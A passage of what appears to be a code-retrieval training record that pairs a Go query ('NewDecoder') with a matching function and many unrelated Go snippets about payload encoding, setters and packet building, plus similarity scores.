https://github.com/opencontainers/image-spec/blob/main/descriptor.md).\n\t// Here we compare the digest of the blob data with the layer digest to verify if this blob is associated with the layer.\n\tif digest.FromBytes(s.Blob) != s.Layer.Digest {\n\t\treturn nil, errors.New(\"an unmatched payload digest is paired with a layer descriptor digest\")\n\t}\n\treturn s.Blob, nil\n}", "func PostPayload(c echo.Context) error {\n\tvar request jsonmodels.PostPayloadRequest\n\tif err := c.Bind(&request); err != nil {\n\t\tPlugin().LogInfo(err.Error())\n\t\treturn c.JSON(http.StatusBadRequest, jsonmodels.NewErrorResponse(err))\n\t}\n\n\tparsedPayload, _, err := payload.FromBytes(request.Payload)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusBadRequest, jsonmodels.NewErrorResponse(err))\n\t}\n\n\tmsg, err := messagelayer.Tangle().IssuePayload(parsedPayload)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusBadRequest, jsonmodels.NewErrorResponse(err))\n\t}\n\n\treturn c.JSON(http.StatusOK, jsonmodels.NewPostPayloadResponse(msg))\n}", "func (api *GoShimmerAPI) SendPayload(payload []byte) (string, error) {\n\tres := &jsonmodels.PostPayloadResponse{}\n\tif err := api.do(http.MethodPost, routeSendPayload,\n\t\t&jsonmodels.PostPayloadRequest{Payload: payload}, res); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn res.ID, nil\n}", "func (o *GetV1RdssOK) SetPayload(payload models.RDSS) {\n\to.Payload = payload\n}", "func (nf *NetworkPayload) SetPayload(newpayload []byte) {\n}", "func (o *CreatePackageCreated) SetPayload(payload *models.Package) {\n\to.Payload = payload\n}", "func createPacketFromPayload(payload *payload) ([]byte, error) {\n\tbuf := new(bytes.Buffer)\n\n\tfor _, v := range []interface{}{\n\t\tpayload.calculatePacketSize(), //Length\n\t\tpayload.packetID, //Request ID\n\t\tpayload.packetType, //Type\n\t\tpayload.packetBody, //Payload\n\t\t[]byte{0, 0}, //pad\n\t} {\n\t\terr := binary.Write(buf, binary.LittleEndian, v)\n\t\tif err != nil {\n\t\t\treturn nil, errors.New(\"Unable to write create packet from payload\")\n\t\t}\n\t}\n\tif buf.Len() >= payloadMaxSize {\n\t\treturn nil, fmt.Errorf(\"payload exceeded maximum allowed size of %d\", payloadMaxSize)\n\t}\n\n\treturn buf.Bytes(), nil\n}", "func (f *framer) payload() {\n\tf.flags |= flagCustomPayload\n}", "func (o *PostBackendsBackendIDGroupsOK) SetPayload(payload *PostBackendsBackendIDGroupsOKBody) {\n\to.Payload = payload\n}", "func (o *CreateStorageSSLCertificateCreated) SetPayload(payload *models.SslCertificate) {\n\to.Payload = payload\n}", "func (codec JSONP) Encode(payload packet.Payload, writer io.Writer) error {\n\tvar buffer bytes.Buffer\n\n\tcodec.delegate.ForceBase64 = true\n\tcodec.delegate.Encode(payload, &buffer)\n\n\tbytes := []byte(\"___eio[\" + codec.Index + \"](\\\"\")\n\tbytes = append(bytes, codec.escape(buffer.String())...)\n\tbytes = append(bytes, []byte(\"\\\");\")...)\n\n\t_, err := writer.Write(bytes)\n\n\treturn err\n}", "func (h *host) Encode(ctx context.Context, ids ttnpb.EndDeviceIdentifiers, version *ttnpb.EndDeviceVersionIdentifiers, msg *ttnpb.ApplicationDownlink, script string) error {\n\tdefer trace.StartRegion(ctx, \"encode message\").End()\n\n\tdecoded := msg.DecodedPayload\n\tif decoded == nil {\n\t\treturn nil\n\t}\n\tm, err := gogoproto.Map(decoded)\n\tif err != nil {\n\t\treturn errInput.WithCause(err)\n\t}\n\tenv := h.createEnvironment(ids, version)\n\tenv[\"payload\"] = m\n\tenv[\"f_port\"] = msg.FPort\n\tscript = fmt.Sprintf(`\n\t\t%s\n\t\tEncoder(env.payload, env.f_port)\n\t`, script)\n\tvalue, err := h.engine.Run(ctx, script, env)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif value == nil || reflect.TypeOf(value).Kind() != reflect.Slice {\n\t\treturn errOutputType.New()\n\t}\n\tslice := reflect.ValueOf(value)\n\tfrmPayload := make([]byte, slice.Len())\n\tfor i := 0; i < slice.Len(); i++ {\n\t\tval := slice.Index(i).Interface()\n\t\tvar b int64\n\t\tswitch i := val.(type) {\n\t\tcase int:\n\t\t\tb = int64(i)\n\t\tcase int8:\n\t\t\tb = int64(i)\n\t\tcase int16:\n\t\t\tb = int64(i)\n\t\tcase int32:\n\t\t\tb = int64(i)\n\t\tcase int64:\n\t\t\tb = i\n\t\tcase uint8:\n\t\t\tb = int64(i)\n\t\tcase uint16:\n\t\t\tb = int64(i)\n\t\tcase uint32:\n\t\t\tb = int64(i)\n\t\tcase uint64:\n\t\t\tb = int64(i)\n\t\tdefault:\n\t\t\treturn errOutputType.WithAttributes(\"type\", fmt.Sprintf(\"%T\", i))\n\t\t}\n\t\tif b < 0x00 || b > 0xFF {\n\t\t\treturn errOutputRange.WithAttributes(\n\t\t\t\t\"value\", b,\n\t\t\t\t\"low\", 0x00,\n\t\t\t\t\"high\", 0xFF,\n\t\t\t)\n\t\t}\n\t\tfrmPayload[i] = byte(b)\n\t}\n\tmsg.FRMPayload = frmPayload\n\treturn nil\n}", "func (o *GetPiecesIDOK) SetPayload(payload *models.Piece) {\n\to.Payload = payload\n}", "func (o *GetBackendOK) SetPayload(payload *GetBackendOKBody) {\n\to.Payload = payload\n}", "func (c *minecraftConn) BufferPayload(payload []byte) (err error) {\n\tif c.Closed() {\n\t\treturn ErrClosedConn\n\t}\n\tdefer func() { c.closeOnErr(err) }()\n\t_, err = c.encoder.Write(payload)\n\treturn err\n}", "func (o *AddNewMaterialsForPostOK) SetPayload(payload *models.ID) {\n\to.Payload = payload\n}", "func (b ByteArray) Encode(w io.Writer) error {\n\terr := util.WriteVarInt(w, len(b))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = w.Write(b)\n\treturn err\n}", "func (w *StatsWriter) SendPayload(p *pb.StatsPayload) {\n\treq := newPayload(map[string]string{\n\t\theaderLanguages: strings.Join(info.Languages(), \"|\"),\n\t\t\"Content-Type\": \"application/msgpack\",\n\t\t\"Content-Encoding\": \"gzip\",\n\t})\n\tif err := encodePayload(req.body, p); err != nil {\n\t\tlog.Errorf(\"Stats encoding error: %v\", err)\n\t\treturn\n\t}\n\tsendPayloads(w.senders, req, w.syncMode)\n}", "func (o *ReplicateCreated) SetPayload(payload *models.SteeringRequestID) {\n\to.Payload = payload\n}", "func (o *PutWorkpaceByIDOK) SetPayload(payload *models.Workspace) {\n\to.Payload = payload\n}", "func NewPayload() Payload {\n\tp := Payload{-1, \"\", 0, \"\", 0}\n\treturn p\n}", "func (b *Bus) encode(msg *Message) error {\n\tbs, err := proto.Marshal(msg.Msg)\n\tif err != nil {\n\t\tlog.Warningf(\"Failed to marshal message[%v]: %v\\n\", msg.Mtype, err)\n\t\treturn err\n\t}\n\tmsg.Payload = append(bs, byte(msg.Mtype))\n\treturn nil\n}", "func (subscribe SubscribePacket) Marshall() []byte {\n\tfixedLength := 2\n\tbuf := make([]byte, fixedLength+subscribe.PayloadSize())\n\n\t// Header\n\tfixedHeaderFlags := 2 // mandatory value\n\tbuf[0] = byte(subscribeType<<4 | fixedHeaderFlags)\n\tbuf[1] = byte(subscribe.PayloadSize())\n\n\t// Packet ID (it must be non zero, so we use 1 if value is zero to generate a valid packet)\n\tid := 1\n\tif subscribe.ID > id {\n\t\tid = subscribe.ID\n\t}\n\tbinary.BigEndian.PutUint16(buf[2:4], uint16(id))\n\n\t// Topic filters\n\tnextPos := 4\n\tfor _, topic := range subscribe.Topics {\n\t\tnextPos = copyBufferString(buf, nextPos, topic.Name)\n\t\tbuf[nextPos] = byte(topic.QOS)\n\t\tnextPos++\n\t}\n\n\treturn buf\n}", "func (o *AddKeypairCreated) SetPayload(payload models.ULID) {\n\to.Payload = payload\n}", "func (o *CreateTCPCheckCreated) SetPayload(payload *models.TCPCheck) {\n\to.Payload = payload\n}", "func (o *GetUserKeysKeyIDOK) SetPayload(payload *models.UserKeysKeyID) {\n\to.Payload = payload\n}", "func (o WebhookOutput) Payload() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Webhook) pulumi.StringOutput { return v.Payload }).(pulumi.StringOutput)\n}", "func (c *API) GetAndSignPayload(payload *Payload) (retPayload, signature string, err error) {\n\tpayload.Nonce = c.GetNonce()\n\tpayload.AccessToken = c.APIKey\n\n\tjsonPayload, err := json.Marshal(payload)\n\tif err != nil {\n\t\treturn \"\", \"\", errors.Wrap(err, \"json marshal coinone payload\")\n\t}\n\n\tb64Payload := base64.StdEncoding.EncodeToString(jsonPayload)\n\n\tsecretUpper := strings.ToUpper(c.SecretKey)\n\thash := hmac.New(sha512.New, []byte(secretUpper))\n\thash.Write([]byte(b64Payload))\n\tsig := fmt.Sprintf(\"%064x\", hash.Sum(nil))\n\n\treturn b64Payload, sig, nil\n}", "func TransPayloadToHex(p types.Payload) PayloadInfo {\n\tswitch object := p.(type) {\n\tcase *payload.Bookkeeper:\n\t\tobj := new(BookkeeperInfo)\n\t\tpubKeyBytes := keypair.SerializePublicKey(object.PubKey)\n\t\tobj.PubKey = common.ToHexString(pubKeyBytes)\n\t\tif object.Action == payload.BookkeeperAction_ADD {\n\t\t\tobj.Action = \"add\"\n\t\t} else if object.Action == payload.BookkeeperAction_SUB {\n\t\t\tobj.Action = \"sub\"\n\t\t} else {\n\t\t\tobj.Action = \"nil\"\n\t\t}\n\t\tpubKeyBytes = keypair.SerializePublicKey(object.Issuer)\n\t\tobj.Issuer = common.ToHexString(pubKeyBytes)\n\n\t\treturn obj\n\tcase *payload.InvokeCode:\n\t\tobj := new(InvokeCodeInfo)\n\t\tobj.Code = common.ToHexString(object.Code)\n\t\treturn obj\n\tcase *payload.DeployCode:\n\t\tobj := new(DeployCodeInfo)\n\t\tobj.Code = common.ToHexString(object.Code)\n\t\tobj.NeedStorage = object.NeedStorage\n\t\tobj.Name = object.Name\n\t\tobj.CodeVersion = object.Version\n\t\tobj.Author = object.Author\n\t\tobj.Email = object.Email\n\t\tobj.Description = object.Description\n\t\treturn obj\n\t}\n\treturn nil\n}", "func (rw *DataRW) payload(msg Msg) []byte {\n\tbuffer := bytes.NewBuffer(make([]byte, 0, 65536))\n\t_, err := io.Copy(buffer, msg.Payload)\n\tif err != nil {\n\t\treturn nil\n\t}\n\ttemp := buffer.Bytes()\n\tlength := len(temp)\n\tvar body []byte\n\t//are we wasting more than 5% space?\n\tif cap(temp) > (length + length/5) {\n\t\tbody = make([]byte, length)\n\t\tcopy(body, temp)\n\t} else {\n\t\tbody = temp\n\t}\n\treturn body\n}", "func (o *AddAttendeeToTalkOK) SetPayload(payload *models.Talk) {\n\to.Payload = payload\n}", "func Encode(payload models.PayloadUser, secret string) string {\n\n //Estructura para el header\n type Header struct {\n \tAlg string `json:\"alg\"`\n \tTyp string `json:\"typ\"`\n } \n //Creamos el header\n header := Header{\n \tAlg: \"HS256\",\n \tTyp: \"JWT\",\n }\n\n //Se parsea el header a json\n json_header, _ := json.Marshal(header)\n\n //Encodeamos el header a base64\n base64_header := Base64Encode(string(json_header))\n \n //Parsea el payload a json\n json_payload, _ := json.Marshal(payload)\n\n //Encodeamos el payload a base64\n base64_payload := Base64Encode(string(json_payload))\n\n //Ser forma la firma con el header + el payload\n signatureValue := base64_header + \".\" + base64_payload\n\n //Se forma el token con la firma + la firma hasheada\n token := signatureValue + \".\" + Hash(signatureValue, secret)\n\n return token\n}", "func (j *Job) Encode(payload interface{}) error {\n\tvar err error\n\tj.Raw, err = encode(ContentTypeMsgpack, &payload)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func PatternPayload(payload, pattern []byte) {\n\tpatternSize := len(pattern)\n\tfor i := 0; i < len(payload); i += patternSize {\n\t\tcopy(payload[i:], pattern)\n\t}\n}", "func (o *PostSessionParams) SetPayload(payload *models.Session100Session) {\n\to.Payload = payload\n}", "func SendPayloadToTopic(topic, payload string) error {\n\tif topic == \"\" {\n\t\treturn errors.New(\"topic is missing\")\n\t}\n\n\tl, err := standalone.List()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(l) == 0 {\n\t\treturn errors.New(\"couldn't find a running Dapr instance\")\n\t}\n\n\tapp := l[0]\n\tb := []byte{}\n\n\tif payload != \"\" {\n\t\tb = []byte(payload)\n\t}\n\n\turl := fmt.Sprintf(\"http://localhost:%s/v%s/publish/%s\", fmt.Sprintf(\"%v\", app.HTTPPort), api.RuntimeAPIVersion, topic)\n\t// nolint: gosec\n\tr, err := http.Post(url, \"application/json\", bytes.NewBuffer(b))\n\n\tif r != nil {\n\t\tdefer r.Body.Close()\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (o *CreateTCPCheckAccepted) SetPayload(payload *models.TCPCheck) {\n\to.Payload = payload\n}", "func (t *PulsarSink) SendPayload(payload []byte) (time.Time, error) {\n\tmsg := pulsar.ProducerMessage{\n\t\tPayload: payload,\n\t}\n\n\terr := t.Producer.Send(context.Background(), msg)\n\treturn time.Now(), err\n}", "func (o *GetTagOK) SetPayload(payload *models.Tag) {\n\to.Payload = payload\n}", "func (o *PostAttendeesOK) SetPayload(payload *models.Attendee) {\n\to.Payload = payload\n}", "func (tx *Transaction) SetPayload() {\n\tsize := make([]byte, 300)\n\ttx.data.Payload = size\n}", "func (w *shardWorker) encodeData(val interface{}) ([]byte, error) {\n\t// Reusing encoders gave issues\n\tencoder := gob.NewEncoder(w.buffer)\n\n\terr := encoder.Encode(val)\n\tif err != nil {\n\t\tw.buffer.Reset()\n\t\treturn nil, err\n\t}\n\n\tencoded := make([]byte, w.buffer.Len())\n\t_, err = w.buffer.Read(encoded)\n\n\tw.buffer.Reset()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn encoded, nil\n}", "func (o *ShowPackageReleasesOK) SetPayload(payload models.PackageManifest) {\n\to.Payload = payload\n}", "func WritePayload(w io.Writer, session uint16, body []byte, meta uint32) (err error) {\n\thead := BuildHeader(session, body, meta)\n\tif _, err := w.Write(head); err != nil {\n\t\treturn err\n\t}\n\tif _, err := w.Write(body); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (o *GetGateSourceByGateNameAndMntOK) SetPayload(payload *models.IBAGateSource) {\n\to.Payload = payload\n}", "func DecodePayload(evtID EventType, payload []byte) (interface{}, error) {\n\tt, ok := EvtDataMap[evtID]\n\n\tif !ok {\n\t\tif _, ok := EventsToStringMap[evtID]; ok {\n\t\t\t// valid event\n\t\t\treturn nil, nil\n\t\t}\n\t\treturn nil, &UnknownEventError{Evt: evtID}\n\t}\n\n\tif t == nil {\n\t\treturn nil, nil\n\t}\n\n\tclone := reflect.New(reflect.TypeOf(t)).Interface()\n\terr := msgpack.Unmarshal(payload, clone)\n\treturn clone, err\n}", "func (o *ReplaceExtensionsV1beta1NamespacedIngressCreated) SetPayload(payload *models.IoK8sAPIExtensionsV1beta1Ingress) {\n\to.Payload = payload\n}", "func (b *BaseHandler) JSONPayload(v interface{}) error {\n\treturn json.Unmarshal(b.Payload(), v)\n}", "func (o *GetTransportByIDOK) SetPayload(payload *models.Tranport) {\n\to.Payload = payload\n}", "func (b *Block) signablePayload() []byte {\n\n\telements := [][]byte{\n\t\t[]byte(b.BlockId),\n\t\t[]byte(b.Author),\n\t\t[]byte(b.Hash),\n\t\t[]byte(b.PrevBlockHash),\n\t\tb.Data.Bytes(),\n\t}\n\treturn bytes.Join(elements, []byte{})\n\n}", "func PayloadSignature(payload []byte, key []byte) string {\n\tmac := hmac.New(sha1.New, key)\n\tmac.Write(payload)\n\tsum := mac.Sum(nil)\n\treturn \"sha1=\" + hex.EncodeToString(sum)\n}", "func (o *GetTournamentOK) SetPayload(payload *models.Tournament) {\n\to.Payload = payload\n}", "func (o *PostBackendsBackendIDGroupsInternalServerError) SetPayload(payload *PostBackendsBackendIDGroupsInternalServerErrorBody) {\n\to.Payload = payload\n}", "func (o *CreateSubCategoryCreated) SetPayload(payload *models.SubCategory) {\n\to.Payload = payload\n}", "func (o *AddNamespaceToGroupOK) SetPayload(payload *models.GroupNamespace) {\n\to.Payload = payload\n}", "func (o *GetPeerOK) SetPayload(payload *models.Peer) {\n\to.Payload = payload\n}", "func (o *CreateExtensionsV1beta1NamespacedIngressCreated) SetPayload(payload *models.IoK8sAPIExtensionsV1beta1Ingress) {\n\to.Payload = payload\n}", "func (o *PostReposOwnerRepoKeysCreated) SetPayload(payload *models.UserKeysKeyID) {\n\to.Payload = payload\n}", "func (o RawStreamInputDataSourceOutput) Payload() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RawStreamInputDataSource) *string { return v.Payload }).(pulumi.StringPtrOutput)\n}", "func Marshal(p Payload) ([]byte, error) {\n\treturn json.Marshal(p)\n}" ]
[ "0.7442821", "0.73364276", "0.71364516", "0.6611374", "0.6555218", "0.6483808", "0.6353148", "0.61374336", "0.60616636", "0.60469085", "0.6022813", "0.6014858", "0.5991718", "0.5910773", "0.59023845", "0.587897", "0.58169615", "0.58134484", "0.5743874", "0.57166004", "0.57033527", "0.56982255", "0.56874895", "0.56840944", "0.56840444", "0.56801176", "0.5669787", "0.565972", "0.5654065", "0.5652779", "0.5649468", "0.5639775", "0.5622139", "0.5619124", "0.5606972", "0.56069654", "0.55988955", "0.55946034", "0.5584637", "0.5577548", "0.5562542", "0.5556437", "0.5551116", "0.5541298", "0.55366033", "0.5531082", "0.55294937", "0.5518315", "0.5504038", "0.5498168", "0.5491542", "0.54902434", "0.5486702", "0.5481542", "0.5476361", "0.5469054", "0.54686105", "0.54543394", "0.54505664", "0.5445325", "0.54415363", "0.54396665", "0.54391867", "0.5438157", "0.54371345", "0.54138327", "0.54126704", "0.5410485", "0.5402896", "0.5401392", "0.53955543", "0.53942883", "0.5388125", "0.53843373", "0.53833795", "0.5379016", "0.5376262", "0.5375491", "0.53671414", "0.53644466", "0.536372", "0.5356347", "0.5356034", "0.53496593", "0.53457636", "0.5343387", "0.5341407", "0.5338545", "0.5334454", "0.53342485", "0.5327498", "0.53182954", "0.5317902", "0.5315309", "0.5315197", "0.53133875", "0.53127235", "0.5312581", "0.5309717", "0.53084785" ]
0.65454924
5
NewDecoder creates a new decoder instance given an io.Reader and a buffer size. Data read from the Reader will be buffered to store partial data as it comes in.
func NewDecoder(r io.Reader, bufSize int) *Decoder { return &Decoder{ reader: bufio.NewReaderSize(r, bufSize), } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{\n\t\tr: bufio.NewReaderSize(r, bufferSize),\n\t\tctx: context.Background(),\n\t}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{\n\t\tr: r,\n\t\tbuf: make([]byte, 2048),\n\t}\n}", "func NewDecoder(reader io.Reader) *Decoder {\n\treturn &Decoder{ByteReader: bufio2.NewReaderSize(reader, 2048)}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\tdec := new(Decoder)\n\t// We use the ability to read bytes as a plausible surrogate for buffering.\n\tif _, ok := r.(io.ByteReader); !ok {\n\t\tr = bufio.NewReader(r)\n\t}\n\tdec.r = r\n\treturn dec\n}", "func NewDecoder(r io.Reader) *Decoder {\n\td := &Decoder{}\n\tif rr, ok := r.(*bufio.Reader); ok {\n\t\td.r = rr\n\t} else {\n\t\td.r = bufio.NewReader(r)\n\t}\n\treturn d\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{r: r}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{r: r}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{r: r}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{r: r}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{r: r}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{r: r}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{r}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{\n\t\tr: r,\n\t\tbuf: nil,\n\t}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{r, 0}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\td := new(Decoder)\n\td.Reset(r)\n\treturn d\n}", "func NewDecoder(r io.Reader) (*Decoder, error) {\n\tdata, err := ioutil.ReadAll(r)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"reading data before decoding\")\n\t}\n\n\treturn &Decoder{buf: bytes.NewReader(data)}, nil\n}", "func NewDecoder(r Reader, uf UnmarshalFunc) *Decoder {\n\treturn &Decoder{r: r, buf: make([]byte, 4096), uf: uf}\n}", "func NewDecoder(r io.ReaderAt) *Decoder {\n\treturn &Decoder{r: r}\n}", "func NewDecoder(\n\tr io.Reader,\n\tminimumTelomereLength int,\n\tmaximumTelomereLength int,\n\tbufferSize int,\n) *Decoder {\n\tif minimumTelomereLength == 0 {\n\t\tpanic(\"minimum telomere length cannot be 0\")\n\t}\n\tif maximumTelomereLength == 0 {\n\t\tpanic(\"maximum telomere length cannot be 0\")\n\t}\n\tif minimumTelomereLength > maximumTelomereLength {\n\t\tpanic(\"minimum telomere length cannot be greater than the maximum\")\n\t}\n\tif minimumTelomereLength >= bufferSize {\n\t\tpanic(\"telomere length must be less than the allocated buffer size\")\n\t}\n\treturn &Decoder{\n\t\tminimum: minimumTelomereLength,\n\t\tmaximum: maximumTelomereLength,\n\t\tb: make([]byte, bufferSize),\n\t\tr: r,\n\t}\n}", "func NewDecoder(r io.Reader) (d *Decoder) {\n scanner := bufio.NewScanner(r)\n return &Decoder{\n scanner: scanner,\n lineno: 0,\n }\n}", "func NewDecoder(r io.Reader) goa.Decoder {\n\treturn codec.NewDecoder(r, &Handle)\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{\n\t\tr: r,\n\t\torder: binary.LittleEndian,\n\t}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{r, defaultDelimiter, defaultEscape, false, false}\n}", "func NewDecoderSize(size int) *Decoder {\n\treturn &Decoder{\n\t\tbuffer: make([]byte, size),\n\t}\n}", "func NewDecoder(enc *Encoding, r io.Reader) io.Reader {\n\treturn &decoder{enc: enc, r: r}\n}", "func NewDecoder(r io.Reader, v Validator) *Decoder {\n\treturn &Decoder{reader: r, validator: v}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\td := new(Decoder)\n\td.src = textproto.NewReader(bufio.NewReader(r))\n\td.attrs = make(map[string]struct{}, 8)\n\td.multi = make(map[string]struct{}, 8)\n\td.finfo = make(map[string][]int, 8)\n\treturn d\n}", "func NewDecoder(r io.Reader) *Decoder {\n\td := &Decoder{\n\t\tr: r,\n\t\tserializer: make(chan pair, 8000), // typical PrimitiveBlock contains 8k OSM entities\n\t}\n\td.SetBufferSize(initialBlobBufSize)\n\treturn d\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{\n\t\trd: r,\n\t\tescBuf: make([]byte, 0, 512),\n\t\tsection: endSection,\n\t\tline: 1,\n\t}\n}", "func NewDecoder(enc *Encoding, r io.Reader) io.Reader {\n\treturn &decoder{enc: enc, r: &newlineFilteringReader{r}}\n}", "func NewDecoder(r Reader) *Decoder {\n\tvar slicer *reader\n\tif s, ok := r.(*reader); ok {\n\t\tslicer = s\n\t}\n\n\treturn &Decoder{\n\t\tr: r,\n\t\ts: slicer,\n\t}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn &Decoder{\n\t\td: json.NewDecoder(r),\n\t}\n}", "func NewDecoder(rd io.ReadSeeker) *Decoder {\n\n\tdec := &Decoder{\n\t\tinput: rd,\n\t\tcurrentType: typeUninited,\n\t}\n\n\treturn dec\n}", "func NewDecoder(r io.Reader) *Decoder {\n\th := sha1.New()\n\treturn &Decoder{\n\t\tr: io.TeeReader(r, h),\n\t\thash: h,\n\t\textReader: bufio.NewReader(nil),\n\t}\n}", "func NewDecoder(r io.Reader, format Format) Decoder {\n\tswitch format {\n\tcase FmtProtoDelim:\n\t\treturn &protoDecoder{r: r}\n\t}\n\treturn &textDecoder{r: r}\n}", "func NewDecoder(r io.Reader) *Decoder {\n\treturn NewDecoderFn(r, func(b []byte, v interface{}) error {\n\t\t// Decode the first value, and discard any remaining data.\n\t\treturn json.NewDecoder(bytes.NewReader(b)).Decode(v)\n\t})\n}", "func NewDecoder(r io.Reader) *Decoder {\n\tdec := &Decoder{r: reader{r: r}}\n\tdec.dec = json.NewDecoder(&dec.r)\n\treturn dec\n}", "func (c *raptorCodec) NewDecoder(messageLength int) Decoder {\n\treturn newRaptorDecoder(c, messageLength)\n}", "func NewDecoder() *Decoder {\n\treturn &Decoder{\n\t\tbuffer: []byte{},\n\t\tcache: make(map[string]struct{}),\n\t}\n}", "func NewDecoder(r io.Reader, tags CodeSpace, attrs CodeSpace) *Decoder {\n\td := &Decoder{\n\t\tr: r,\n\n\t\ttags: tags,\n\t\tattrs: attrs,\n\t\ttokChan: make(chan Token),\n\t}\n\n\tgo d.run()\n\treturn d\n}", "func NewDecoder(b []byte) *Decoder {\n\treturn &Decoder{orig: b, in: b}\n}", "func NewDecoder(b []byte) *Decoder {\n\treturn &Decoder{\n\t\tbytes: b,\n\t}\n}", "func (cfg frozenConfig) NewDecoder(reader io.Reader) Decoder {\n dec := decoder.NewStreamDecoder(reader)\n dec.SetOptions(cfg.decoderOpts)\n return dec\n}", "func NewDecoder() *Decoder {\n\treturn &Decoder{cache: newCache(), ignoreUnknownKeys: true, maxMemory: 10 << 20}\n}", "func NewStreamDecoder(r io.Reader) *StreamDecoder {\n return &StreamDecoder{r : r}\n}", "func NewDecoder(data []byte) *Decoder {\n\treturn eos.NewDecoder(data)\n}", "func NewDecoder(filename string, src interface{}) (*Decoder, error) {\n\td, err := newParser(filename, src)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Decoder{parser: d}, nil\n}", "func NewDecoder(r io.ReadSeeker, dam DecoderContainerResolver) (d *Decoder) {\r\n\tif dam == nil {\r\n\t\tdam = &DefaultDecoderContainerResolver\r\n\t}\r\n\td = &Decoder{r: r, dam: dam}\r\n\td.t1, d.t2, d.t4, d.t8 = d.x[:1], d.x[:2], d.x[:4], d.x[:8]\r\n\treturn\r\n}", "func NewDecoder(r io.Reader, sep, env string) (*Decoder, error) {\n\tif sep == \"\" {\n\t\treturn &Decoder{arrSep: defaultDecoder.arrSep, env: env, r: r}, nil\n\t}\n\tarrSep, err := regexp.Compile(sep)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Decoder{arrSep: arrSep, env: env, r: r}, nil\n}", "func NewDecoder(r io.Reader) ir.Decoder {\n\treturn &swaggerDecoder{\n\t\tr: r,\n\t}\n}", "func NewDecoderFn(r io.Reader, fn Decode) *Decoder {\n\ts := bufio.NewScanner(r)\n\ts.Split(ScanRecord)\n\treturn &Decoder{\n\t\ts: s,\n\t\tfn: fn,\n\t}\n}", "func NewDecoder(data []byte) *Decoder {\n\tdec := decoderPool.Get().(*Decoder)\n\tdec.Reset(data)\n\treturn dec\n}", "func NewDecoder(src blob.Fetcher) *Decoder {\n\treturn &Decoder{src: src}\n}", "func NewDecoder(r io.Reader, dest interface{}) (Decoder, error) {\n\tcsvR := csv.NewReader(r)\n\treturn NewDecoderFromCSVReader(csvR, dest)\n}", "func NewDecoder(f FormatType, r io.Reader) (dec Decoder) {\n\tvar d DecodeProvider = nil\n\n\tswitch f {\n\tcase TomlFormat:\n\t\td = NewTomlDecoder(r)\n\tcase YamlFormat:\n\t\td = NewYamlDecoder(r)\n\tcase JsonFormat:\n\t\td = json.NewDecoder(r)\n\tdefault:\n\t}\n\n\treturn Decoder{Provider: d}\n}", "func NewDecoder(opts Options) (*Decoder, error) {\n\tif opts.Reader == nil {\n\t\treturn nil, errors.New(\"Options.Reader can't be nil\")\n\t}\n\treturn &Decoder{\n\t\treader: opts.Reader,\n\t}, nil\n}", "func NewReader(src flate.Reader, base io.ReadSeeker) Reader {\n\td := Reader{src: src, base: base}\n\t// Read the source length. We don't care about the value,\n\t// but need to advance the stream by an approprite amount\n\td.readVariable()\n\n\t// Read the target length so we know when we've finished processing\n\t// the delta stream.\n\td.sz = d.readVariable()\n\treturn d\n}", "func NewDecoder(reader io.Reader) *Decoder {\n\treturn NewDecoderWithPrefix(reader, attrPrefix, textPrefix)\n}", "func NewDecoder(c *stdcsv.Reader) *Decoder {\n\treturn &Decoder{r: c}\n}", "func NewReader(r io.Reader) *Reader {\n\treturn s2.NewReader(r, s2.ReaderMaxBlockSize(maxBlockSize))\n}", "func NewReader(r io.Reader, opts ...DOption) (*Decoder, error) {\n\tinitPredefined()\n\tvar d Decoder\n\td.o.setDefault()\n\tfor _, o := range opts {\n\t\terr := o(&d.o)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\td.current.crc = xxhash.New()\n\td.current.flushed = true\n\n\tif r == nil {\n\t\td.current.err = ErrDecoderNilInput\n\t}\n\n\t// Transfer option dicts.\n\td.dicts = make(map[uint32]*dict, len(d.o.dicts))\n\tfor _, dc := range d.o.dicts {\n\t\td.dicts[dc.id] = dc\n\t}\n\td.o.dicts = nil\n\n\t// Create decoders\n\td.decoders = make(chan *blockDec, d.o.concurrent)\n\tfor i := 0; i < d.o.concurrent; i++ {\n\t\tdec := newBlockDec(d.o.lowMem)\n\t\tdec.localFrame = newFrameDec(d.o)\n\t\td.decoders <- dec\n\t}\n\n\tif r == nil {\n\t\treturn &d, nil\n\t}\n\treturn &d, d.Reset(r)\n}", "func NewDecoder(numSourceSymbols, symbolAlignmentSize, transferLength, 